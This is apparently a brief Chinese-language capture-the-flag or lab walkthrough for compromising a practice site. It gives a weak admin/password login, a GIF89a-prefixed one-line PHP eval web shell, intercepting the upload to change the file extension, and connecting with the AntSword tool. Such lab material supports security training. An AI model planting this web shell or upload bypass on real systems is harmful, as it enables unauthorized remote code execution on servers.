1.进入靶场 2.进入后台, url/admin 3.弱口令 admin/password 4.上传一句话木马 GIF89a <?php @eval($_POST['cmd']);?> 5.抓包修改后缀 6.蚁剑连接 连接这个网址